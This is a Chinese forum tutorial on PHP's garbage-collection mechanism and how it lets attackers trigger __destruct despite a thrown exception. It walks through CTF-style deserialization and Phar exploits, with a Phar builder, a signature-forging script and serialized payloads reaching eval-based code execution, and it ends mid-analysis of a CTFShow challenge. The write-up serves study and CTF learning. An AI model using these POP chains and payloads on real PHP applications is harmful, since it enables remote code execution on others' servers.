深入探讨PHP GC垃圾回收机制及常见应用技巧

前言

上周战队知识分享时,H3018大师傅讲了PHP GC回收机制的利用,学会了如何去绕过抛出异常。H3018大师傅讲述的很清楚,大家有兴趣的可以去看一下哇,链接如下https://www.bilibili.com/video/BV16g411s7CH/这里没有怎么涉及底层原理,只是将我自己的见解简述一下,希望能对正在学习PHP反序列化的师傅有所帮助。

GC

什么是GC

Gc,全称Garbage collection,即垃圾回收机制。在PHP中有这个GC机制

PHP中的GC

在PHP中,使用引用计数和回收周期来自动管理内存对象的,当一个变量被设置为NULL,或者没有任何指针指向时,它就会被变成垃圾,被GC机制自动回收掉那么这里的话我们就可以理解为,当一个对象没有被引用时,就会被GC机制回收,在回收的过程中,它会自动触发_destruct方法,而这也就是我们绕过抛出异常的关键点。

上文说到PHP是使用引用计数来进行管理的,接下来简单说一下。

引用计数

当我们PHP创建一个变量时,这个变量会被存储在一个名为zval的变量容器中。在这个zval变量容器中,不仅包含变量的类型和值,还包含两个字节的额外信息。

第一个字节名为is_ref,是bool值,它用来标识这个变量是否是属于引用集合。PHP引擎通过这个字节来区分普通变量和引用变量,由于PHP允许用户使用&来使用自定义引用,zval变量容器中还有一个内部引用计数机制,来优化内存使用。

第二个字节是refcount,它用来表示指向zval变量容器的变量个数。所有的符号存储在一个符号表中,其中每个符号都有作用域。

看接下来的这个例子<?php
$a = “new string”;
xdebug_debug_zval(‘a’); //用于查看变量a的zval变量容器的内容
?>

我们可以看到这里定义了一个变量$a,生成了类型为String和值为new string的变量容器,而对于两个额外的字节,is_ref和refcount,我们这里可以看到是不存在引用的,所以is_ref的值应该是false,而refcount是表示变量个数的,那么这里就应该是1,接下来我们验证一下

图片[1]-深入探讨PHP GC垃圾回收机制及常见应用技巧-山海云端论坛
图片[2]-深入探讨PHP GC垃圾回收机制及常见应用技巧-山海云端论坛

这个是一种方法,还有一种方法,如下。我们知道当对象为NULL时也是可以触发_destruct的,所以我们这里的话来试一下反序列化一个数组,然后写入第一个索引为对象,将第二个赋值为0,看一下能否触发。(原理我感觉应该是给第一个对象赋值为0键时,此时又将0赋值给了另一个,就相当于它失去了引用,被视为垃圾给回收了)demo如下

图片[3]-深入探讨PHP GC垃圾回收机制及常见应用技巧-山海云端论坛
图片[4]-深入探讨PHP GC垃圾回收机制及常见应用技巧-山海云端论坛

Gc在Phar反序列化中类似于PHP反序列化,也是当遇到抛出异常时,可以借用上面的方法来实现绕过,下面以demo来简单讲解一下。

demo

<?php
highlight_file(__FILE__);
class Test{
public $code;
public function __destruct(){
eval($this -> code);
}
}
$filename = $_GET[‘filename’];
echo file_get_contents($filename);
throw new Error(“Garbage collection”);
?>

看到file_get_contents函数和类,就想到Phar反序列化,所以接下来尝试借助file_get_contents方法来进行反序列化(因为这里只是本地测试一下,所以不再设置文件上传那些,直接将生成的Phar文件放置本地进行利用了)。构造Exp如下<?php
class test{
public $code= “phpinfo();”;
}
$a = new test();
$c = array($a,0);
$b = new Phar(‘1.phar’,0);//后缀名必须为phar
$b->startBuffering();//开始缓冲 Phar 写操作
$b->setMetadata($c);//自定义的meta-data存入manifest
$b->setStub(“<?php __HALT_COMPILER();?>”);//设置stub,stub是一个简单的php文件。PHP通过stub识别一个文件为PHAR文件,可以利用这点绕过文件上传检测
$b->addFromString(“test.txt”,”test”);//添加要压缩的文件
$b->stopBuffering();//停止缓冲对 Phar 归档的写入请求,并将更改保存到磁盘
?>

注:需要去检查一下php.ini中的phar.readonly选项,如果是On,需要修改为Off。否则会报错,无法生成phar文件小Tip: 这里如果有师傅不懂为什么这样写,可以学一下Phar反序列化,我之前也写过一篇关于Phar反序列化的文章,师傅们可以参考一下https://tttang.com/archive/1732/

图片[5]-深入探讨PHP GC垃圾回收机制及常见应用技巧-山海云端论坛
图片[6]-深入探讨PHP GC垃圾回收机制及常见应用技巧-山海云端论坛

可以发现i:1,按照我们之前的思路,我们这里将i:1修改成i:0就可以绕过抛出异常,但在Phar文件中,我们是不能任意修改数据的,否则就会因为签名错误而导致文件出错,不过签名是可以进行伪造的,所以我们先将1.phar中的i:1修改为i:0,接下来利用脚本使得签名正确。脚本如下import gzip
from hashlib import sha1
with open(‘D:\\phpStudy\\PHPTutorial\\WWW\html\\1.phar’, ‘rb’) as file:
f = file.read()
s = f[:-28] # 获取要签名的数据
h = f[-8:] # 获取签名类型以及GBMB标识
newf = s + sha1(s).digest() + h # 数据 + 签名 + (类型 + GBMB)
open(“2.phar”,”wb”).write(newf)

打开2.phar文件查看一下

图片[7]-深入探讨PHP GC垃圾回收机制及常见应用技巧-山海云端论坛

变成i:0且文件正常,接下来利用phar伪协议包含这个文件、

图片[8]-深入探讨PHP GC垃圾回收机制及常见应用技巧-山海云端论坛

CTF实战

例题1

这道题是H3018大师傅在知识分享时的例题,在这里引用一下,源码如下<?php
highlight_file(__FILE__);
error_reporting(0);
class cg0{
public $num;
public function __destruct(){
echo $this->num.”hello __destruct”;
}
}
class cg1{
public $string;
public function __toString() {
echo “hello __toString”;
$this->string->flag();
}
}
class cg2{
public $cmd;
public function flag(){
echo “hello __flag()”;
eval($this->cmd);
}
}
$a=unserialize($_GET[‘code’]);
throw new Exception(“Garbage collection”);
?>

这道题的话思路比较简单1、首先调用__destrcut,然后通过num参数触发__tostring
2、给string参数赋值,调用cg2的flag方法
3、给cmd参数赋值,实现RCE

但我们会发现这里首先要用到的就是__destruct,而代码末尾带有throw new Exception("Garbage collection");,即异常抛出,所以我们首先需要解决的就是如何绕过他,上文在讲GC中的PHP反序列化时,demo已经给出了方法,即先传值给数组,而后将第二个索引置空即可,因此我们这里按照平常思路,先构造出payload<?php
highlight_file(__FILE__);
error_reporting(0);
class cg0{
public $num;
}
class cg1{
public $string;
}
class cg2{
public $cmd;
}
$a = new cg0();
$a->num=new cg1();
$a->num->string=new cg2();
$a->num->string->cmd=”phpinfo();”;
$b=array($a,0);
echo serialize($b);

得到a:2:{i:0;O:3:”cg0″:1:{s:3:”num”;O:3:”cg1″:1:{s:6:”string”;O:3:”cg2″:1:{s:3:”cmd”;s:10:”phpinfo();”;}}}i:1;i:0;}

i:1修改为i:0a:2:{i:0;O:3:”cg0″:1:{s:3:”num”;O:3:”cg1″:1:{s:6:”string”;O:3:”cg2″:1:{s:3:”cmd”;s:10:”phpinfo();”;}}}i:0;i:0;}

接下来去尝试一下

成功触发phpinfo()

CTFShow[卷王杯]easy unserialize

源码如下<?php
/**
* @Author: F10wers_13eiCheng
* @Date: 2022-02-01 11:25:02
* @Last Modified by: F10wers_13eiCheng
* @Last Modified time: 2022-02-07 15:08:18
*/
include(“./HappyYear.php”);

class one {
public $object;

public function MeMeMe() {
array_walk($this, function($fn, $prev){
if ($fn[0] === “Happy_func” && $prev === “year_parm”) {
global $talk;
echo “$talk”.”</br>”;
global $flag;
echo $flag;
}
});
}

public function __destruct() {
@$this->object->add();
}

public function __toString() {
return $this->object->string;
}
}

class second {
protected $filename;

protected function addMe() {
return “Wow you have sovled”.$this->filename;
}

public function __call($func, $args) {
call_user_func([$this, $func.”Me”], $args);
}
}

class third {
private $string;

public function __construct($string) {
$this->string = $string;
}

public function __get($name) {
$var = $this->$name;
$var[$name]();
}
}

if (isset($_GET[“ctfshow”])) {
$a=unserialize($_GET[‘ctfshow’]);
throw new Exception(“高一新生报道”);
} else {
highlight_file(__FILE__);
}

简单梳理一下思路,触发MeMeMe方法为最终目标,以_destruct为起点,绕过抛出异常的方式同之前即可接下来看一下它的大致流程首先触发_destruct,那这里的add()无疑是让我们触发_call魔法方法,因此接下来到_call这里,发现这里拼接了Me,那它肯定就指向了addMe()这个方法,接下来看到$this->filename,想到触发_toString魔术方法,接下来根进_toString方法,发现object->string,那么这个的话就是触发_get方法了,因此接着看get()魔术方法,这个时候就有一个问题,怎么通过$var[$name]();来进入one类的MeMeMe方法,我们这里可以控制$var的值,当给它传值为数组,内容为类和方法时,就可成功触发类中的方法,所以我们这里给$var赋值为[new one(),MeMeMe]即可,此时还有一个问题,就是这个MeMeMe中的function($fn, $prev)如何理解,接下来我们本地测试一下

© 版权声明
THE END
喜欢就支持一下吧
点赞15 分享
评论 抢沙发

请登录后发表评论

    暂无评论内容